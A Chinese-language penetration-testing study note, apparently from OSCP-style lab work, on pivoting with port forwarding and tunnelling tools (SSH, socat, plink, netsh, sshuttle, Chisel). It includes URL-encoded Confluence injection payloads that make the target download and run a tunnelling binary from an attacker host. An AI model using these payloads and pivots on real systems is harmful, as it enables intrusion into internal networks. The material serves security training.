端口转发与隧道
端口转发简介
https://zhuanlan.zhihu.com/p/148825449
https://wangdoc.com/ssh/port-forwarding#%E5%8A%A8%E6%80%81%E8%BD%AC%E5%8F%91
端口转发是我们将研究的最简单的流量操作技术,其中我们将一个 IP 地址和端口的流量重定向到另一个 IP 地址和端口


简介转发工具
-
rinetd
Rinetd 配置文件/etc/rinetd.conf 列出了需要四个参数的转发规则,包括 bindaddress 和 bindport,它们定义绑定(“监听”)的 IP 地址和端口,以及 Connectaddress 和 Connectport,它们定义流量的目的地址和端口
sudo apt update && sudo apt install rinetd #安装 cat /etc/rinetd.conf #查看配置 sudo service rinetd restart #重启服务注意:使用 rinetd 将kali web 服务器在80端口接收到的任何流量重定向到我们在测试中使用的 google.com IP 地址;所有在 Kali Linux 服务器端口80上接收的通信,监听所有接口(0.0.0.0) ,无论目标地址如何,都将被重定向到216.58.207.142:80 kali@kali:~$ cat /etc/rinetd.conf ... # bindadress bindport connectaddress connectport 0.0.0.0 80 216.58.207.142 80 ... -
ssh隧道转发
-
本地转发
将 Kali Linux 机器上的 TCP 端口445转发到 Windows 服务器2016上的 TCP 端口445,TCP 端口445上 Kali Linux 机器上的任何传入连接都将通过我们的受损 Linux 客户机转发到192.168.1.110 IP 地址上的 TCP 端口445 sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128 #攻击机指令
-

-
远程端口转发
ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4 注意:目标的端口打不开,是将自己的端口转发给目标

-
动态端口转发
sudo ssh -N -D 127.0.0.1:8080 student@10.11.0.128 sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110 #使用实例kali@kali:~$ cat /etc/proxychains4.conf ... [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks4 127.0.0.1 8080 # Proxy DNS requests - no leak for DNS data Proxy_dns

-
plink.exe
Windows: plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 #注意是从客户机传到攻击机 cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 #使用 cmd.exe/c echo y 命令将答案通过管道传递给提示符 -
netsh
默认安装在每个现代版本的 Windows 上。Windows 系统必须运行 IP Helper 服务,并且必须为我们想要使用的接口启用 IPv6支持。幸运的是,在 Windows 操作系统上,两者都处于打开状态并默认启用
检查 IP Helper service 确认IPv6支持网络接口 netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110 #跳板机网络监听配置 netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow #跳板机防火墙配置 -
http隧道
工具安装 apt-cache search httptunnel sudo apt install httptunnel将从这台机器(127.0.0.1)创建一个本地转发(- L) ,并使用我们在开发后创建的新密码作为学生登录。我们将把端口8888(0.0.0.0:8888)上的所有请求转发到 Windows Server 的远程桌面端口(192.168.1.110:3389) ssh -L 0.0.0.0:8888:192.168.1.110:3389 student@127.0.0.1 #Linux client 该服务器将在Localhost端口1234上侦听,将流量从传入的HTTP流拆除,并将其重定向到Local-Host端口8888 hts --forward-port localhost:8888 1234 #Linux client 命令将监听本地主机端口8080(—— forward-port 8080) ,HTTP 封装流量,并通过防火墙将其转发到我们在端口1234(10.11.0.128:1234)上的正在监听的 HTTP 隧道服务器 htc --forward-port 8080 10.11.0.128:1234 # kali

socat
边界机器:socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432 #监听在2345,一旦接收到流量后转发到目标的5432端口
攻击机:psql -h 192.168.50.63 -p 2345 -U postgres

ssh
本地转发
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215 #-N来防止shell被打开,-L本地转发,注意这是在CONFLUENCE01上的
攻击机:smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234 #直接对着CONFLUENCE01就行,这时端口已经映射过来

动态转发
python3 -c 'import pty; pty.spawn("/bin/bash")' #使用tty模块
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215 #转发
tail /etc/proxychains4.conf #配置代理链proxychain4
注意:Proxychain 配置为具有非常高的超时值。这会使端口扫描非常慢。降低代理链配置文件中的 tcp _ read _ time _ out 和 tcp _ connect _ time _ out 值将迫使代理链更快地超时非响应连接
远程转发
sudo systemctl start ssh #攻击机启动ssh服务器,在/etc/SSH/sshd_config中将 PasswordAuthentication设置为yes
python3 -c 'import pty; pty.spawn("/bin/bash")' #同理
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 #注意这是边界机器上的指令,监听的2345端口是攻击机的

远程动态端口转发
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 kali@192.168.118.4 #边界机器
tail /etc/proxychains4.conf #攻击机
proxychains 应用
sshuttle
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22 #边界
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24 #kali
注意:权限需求高
Windows转发
ssh.exe
%systemdrive%\Windows\System32\OpenSSH #18年后,默认安装openssh,此为路径
where ssh
ssh.exe -V
ssh -N -R 9998 kali@192.168.118.4 #流程一样
plink
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4 #注意,最后这个ip是kali的
xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833
http
基础
-
假设场景

-
Chisel
HTTP 隧道工具,将我们的数据流封装在 HTTP 中。它还在隧道中使用 SSH 协议,因此我们的数据将被加密。
sudo cp $(which chisel) /var/www/html/ #将二进制文件复制到apache下 sudo systemctl start apache2 #开启apache wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel #边界机器下载文件 curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.118.4/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/ #利用curl传输,注意这是有注入的一种情况 chisel server --port 8080 --reverse #kali启动服务器 sudo tcpdump -nvvvXi tun0 tcp port 8080 #kali捕获流量 /tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 & #边界机指令 curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.118.4:8080%20R:socks%27%29.start%28%29%22%29%7D/ #利用curl,注意这是有注入的一种情况 sudo apt install ncat #安装ncat ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215 #穿透图
